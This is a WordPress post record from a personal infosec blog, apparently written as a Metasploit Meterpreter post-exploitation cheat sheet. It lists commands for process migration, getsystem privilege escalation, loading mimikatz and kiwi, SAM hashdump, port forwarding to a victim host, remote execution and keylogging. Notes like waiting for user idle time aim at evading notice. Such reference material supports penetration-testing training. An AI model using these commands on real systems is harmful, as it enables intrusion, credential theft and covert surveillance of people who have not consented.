{"id":904,"date":"2020-03-15T11:32:06","date_gmt":"2020-03-15T10:32:06","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=904"},"modified":"2024-09-16T16:40:29","modified_gmt":"2024-09-16T14:40:29","slug":"meterpreter","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=904","title":{"rendered":"meterpreter"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Upgrade a shell to a meter\u00adpreter shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sessions -u $session_id<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cau\u00adtion: Maybe the build\u00adtu\u00adple is the wrong architecture.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Show process\u00ades<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ps<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show how long the user is not on his\/her com\u00adput\u00ader (try things which could pop up shells pre\u00adfer\u00adrefly after the sys\u00adtem is idle for some&nbsp;time.)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">idletime<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Migrate into anoth\u00ader process to make the con\u00adnec\u00adtion inde\u00adpen\u00addend from the orig\u00adi\u00adnal (reverse shell) process (If this does\u00adn\u2019t work, maybe the meter\u00adpreter shell is not suit\u00adable. Try to cre\u00adate a \u201creal\u201d meter\u00adpreter shell.)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">run migrate -p $pid\nmigrate $pid<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Try to get system<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">getsystem<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Try to get cre\u00adden\u00adtials, load mimikatz \/&nbsp;kiwi<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">load mimikatz\nload kiwi\nload incognito<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cre\u00adate port for\u00adward\u00ading of port 139 of the vic\u00adtim to 1390&nbsp;local.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">meterpreter &gt; portfwd add -l 1390 -p 139 -r 10.11.1.50<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Note: See also the route com\u00admand in the <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=467\" data-type=\"post\" data-id=\"467\">Copy, rout\u00ading,.. arti\u00adcle<\/a>.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>shell<\/strong> \u2014 the most use\u00adfull: Cre\u00adates a full&nbsp;shell<\/li>\n\n\n\n<li><strong>get\u00adsys\u00adtem<\/strong> tries to get a root&nbsp;shell<\/li>\n\n\n\n<li><strong>sys\u00adin\u00adfo<\/strong> \u2014 shows gen\u00ader\u00adal&nbsp;info<\/li>\n\n\n\n<li><strong>getu\u00adid<\/strong> \u2014 shows the sys\u00adtem\u2019s&nbsp;name<\/li>\n\n\n\n<li><strong>run post\/windows\/gather\/hashdump<\/strong> \u2014 dumps the <span class=\"caps\">SAM<\/span> database<\/li>\n\n\n\n<li><strong>search \u2011f *file*.txt<\/strong> \u2014 searchs the whole file sys\u00adtem for a&nbsp;file<\/li>\n\n\n\n<li><strong>upload &lt;local_file&gt; &lt;remote_file&gt;<\/strong><\/li>\n\n\n\n<li><strong>down\u00adload &lt;remote_file&gt; &lt;local_file&gt;<\/strong><\/li>\n\n\n\n<li><strong>exe\u00adcute \u2011f cmd.exe \u2011i \u2011H<\/strong> \u2014 exe\u00adcutes a com\u00admand on the target<\/li>\n\n\n\n<li><strong>help<\/strong> for any\u00adthing&nbsp;else<\/li>\n\n\n\n<li>Key\u00adboard logging:&nbsp;<ul class=\"wp-block-list\">\n<li>keyscan_start<\/li>\n\n\n\n<li>keyscan_dump<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Upgrade a shell to a meter\u00adpreter shell ses\u00adsions \u2011u $session_id Cau\u00adtion: Maybe the build\u00adtu\u00adple is the wrong archi\u00adtec\u00adture. Show process\u00ades ps Show how long the user is not on his\/her com\u00adput\u00ader (try things which could pop up shells pre\u00adfer\u00adrefly after the sys\u00adtem is idle for some&nbsp;time.) idle\u00adtime Migrate into anoth\u00ader process to make the connection&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[63,134],"class_list":["post-904","post","type-post","status-publish","format-standard","hentry","category-general","tag-metasploit","tag-meterpreter"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/904","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=904"}],"version-history":[{"count":13,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/904\/revisions"}],"predecessor-version":[{"id":4440,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/904\/revisions\/4440"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}